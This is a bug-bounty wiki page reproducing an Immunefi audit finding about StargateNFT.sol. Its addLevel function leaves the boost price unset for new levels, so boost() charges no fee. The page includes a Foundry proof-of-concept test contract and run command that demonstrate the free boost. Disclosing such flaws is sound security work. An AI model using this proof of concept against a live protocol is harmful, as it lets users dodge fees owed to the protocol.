Skip to content
Business logic Audit finding Intermediate

StargateNFT.sol::addLevel function not implement updateLevelBoostPricePerBlock

The addLevel function in StargateNFT.sol does not set the boost price per block for newly added levels. As a result, users can boost a newly added level without paying any fee, leading to lost revenue and breaking the intended fee mechanism.

ox9527 Follow

Originally disclosed on Immunefi

  • Disclosed after under an hour

59814 sc low stargatenft sol addlevel function not implement updatelevelboostpriceperblock

Submitted on Nov 16th 2025 at 03:44:19 UTC by @ox9527 for Audit Comp | Vechain | Stargate Hayabusa

Description

Brief/Intro

From StargateNFT.sol comment:

All NFT levels have a cap, we are adding 3 new levels at launch, and more levels can be added in the future

The addLevel function:

Solidity
    function addLevel(
        DataTypes.LevelAndSupply memory _levelAndSupply
    ) public onlyRole(LEVEL_OPERATOR_ROLE) {
        Levels.addLevel(_getStargateNFTStorage(), _levelAndSupply);
    }

LEVEL_OPERATOR_ROLE can add new levels by invoking the addLevel() function. However, when a new level is added, the boostPricePerBlock is not configured. As a result, users can boost the newly added level by calling StargateNFT.sol::boost() without paying any fee, which leads to a loss of expected revenue and breaks the intended fee mechanism.

Vulnerability Details

Levels.updateLevelBoostPricePerBlock is not configured.

Impact Details

User pay less fee than expected

Proof of Concept

{% stepper %} {% step %}

PoC — Test contract

Deploy this test contract (found below) which demonstrates adding a level and then minting & boosting without fee due to missing boost price configuration.

Solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console} from "forge-std/Test.sol";
import {StargateNFT} from "../contracts/StargateNFT/StargateNFT.sol";
import {Stargate} from "../contracts/Stargate.sol";
import {DataTypes} from "../contracts/StargateNFT/libraries/DataTypes.sol";
import "forge-std/console2.sol";
import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract MockERC20 is ERC20{
    constructor(string memory name, string memory symbol) ERC20(name, symbol) {
        _mint(msg.sender, 1e24);
    }
    function transfer(address from, address to, uint256 value) public returns (bool) {
        _update(from, to, value);
    }

    function transferFrom(address from, address to, uint256 value) public override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, value);
        _update(from, to, value);
        return true;
    }
}

contract StargateNFTTest is Test {

    StargateNFT public nft;
    Stargate public stargate;
    MockERC20 public vthoToken;
    function setUp() public {
        // constructor() {
        //    _disableInitializers(); <@ comment _disableInitializers(); on StargateNFT contract >
        // }
        // constructor() {
        //    _disableInitializers(); <@ comment _disableInitializers(); on Stargate contract >
        // }
        vthoToken = new MockERC20("VTHO Token", "VTHO");

        stargate = new Stargate();
        Stargate.InitializeV1Params memory params;
        params.protocolStakerContract = address(0x1234);
        params.admin = address(this);
        params.maxClaimablePeriods = 100;
        params.stargateNFTContract = address(0x5678);
        stargate.initialize(params);

        nft = new StargateNFT();
        DataTypes.StargateNFTInitParams memory nftParams;
        nftParams.tokenCollectionName = "1";
        nftParams.tokenCollectionSymbol = "1";
        nftParams.baseTokenURI = "ipfs://...";
        nftParams.admin = address(this);
        nftParams.upgrader = address(this);
        nftParams.pauser = address(this);
        nftParams.levelOperator = address(this);
        nftParams.legacyNodes = address(this);
        nftParams.stargateDelegation = address(stargate);
        nftParams.vthoToken = address(vthoToken);
        nftParams.legacyLastTokenId = 10;
        DataTypes.LevelAndSupply[] memory levelsAndSupplies = new DataTypes.LevelAndSupply[](2);

        DataTypes.Level memory l;
        l.name = "Level 1";
        l.isX = false;
        l.id = 1;
        l.maturityBlocks = 100;
        l.scaledRewardFactor = 100;
        l.vetAmountRequiredToStake = 1e18;

        DataTypes.Level memory l2;
        l2.name = "Level 2";
        l2.isX = false;
        l2.id = 2;
        l2.maturityBlocks = 100;
        l2.scaledRewardFactor = 100;
        l2.vetAmountRequiredToStake = 1e18;

        levelsAndSupplies[0] = DataTypes.LevelAndSupply({level: l, circulatingSupply: 100, cap: 1000});
        levelsAndSupplies[1] = DataTypes.LevelAndSupply({level: l2, circulatingSupply: 50, cap: 500});
        nftParams.levelsAndSupplies = levelsAndSupplies;
        nft.initialize(nftParams);

        uint8[] memory levelIds = new uint8[](2);
        levelIds[0] = 1;
        levelIds[1] = 2;
        uint256[] memory boostPricesPerBlock = new uint256[](2);
        boostPricesPerBlock[0] = 1e15;
        boostPricesPerBlock[1] = 2e15;
        nft.initializeV3(address(stargate), levelIds, boostPricesPerBlock);
    }

    function test_POC1() public {
        //addLevel.
        DataTypes.Level memory level = DataTypes.Level({
            name: "Level 3",
            isX: false,
            id: 3,
            maturityBlocks: 200,
            scaledRewardFactor: 150,
            vetAmountRequiredToStake: 2e18
        });
        DataTypes.LevelAndSupply memory _levelAndSupply = DataTypes.LevelAndSupply({
            level: level,
            circulatingSupply: 100,
            cap: 1000
        });
        nft.addLevel(_levelAndSupply);

        vm.prank(address(stargate));
        uint256 tokenId = nft.mint(3, address(this));

        //boost.
        nft.boost(tokenId);
    }

    function test_migrateTokenManager() public {
        vm.prank(address(stargate));
        uint256 tokenId = nft.mint(1, address(this));

        nft.grantRole(nft.TOKEN_MANAGER_MIGRATOR_ROLE(), address(this));
        nft.migrateTokenManager(tokenId, address(this));

    }

    function onERC721Received(
        address,
        address,
        uint256,
        bytes calldata
    ) external pure returns (bytes4) {
        return 0x150b7a02;
    }

}

{% endstep %}

{% step %}

How to run

Run the specific test demonstrating the issue:

Bash
forge test --match-test test_POC1 -v

This test shows that after addLevel is called, boost() can be invoked for the new level without the expected boost fee being applied. {% endstep %} {% endstepper %}

The original report as published on Immunefi, by ox9527. Images and videos are our own copies; raw HTML is shown as text. View it on Immunefi.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the addLevel function does not call updateLevelBoostPricePerBlock to set the boost price for the new level.

Impact

Users pay less fee than expected, causing a loss of revenue for the protocol.

What the attacker needed

LEVEL_OPERATOR_ROLE can add levels; attacker can mint a token of the new level; attacker can call boost

How it was found

  1. Deploy the test contract that sets up the NFT and Stargate contracts.
  2. Call addLevel to add a new level (Level 3) without setting its boost price.
  3. Mint a token for the new level.
  4. Call boost on the minted token and observe that no fee is charged.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

This is a smart contract bug where a function that adds new NFT levels forgets to set the price for a feature called 'boost'. Because the price is missing, users can use boost for free on those new levels, so the protocol loses the fees it expected to collect.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More by ox9527

View all

13 more disclosed reports, best first.

More from Vechain | Stargate Hayabusa

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.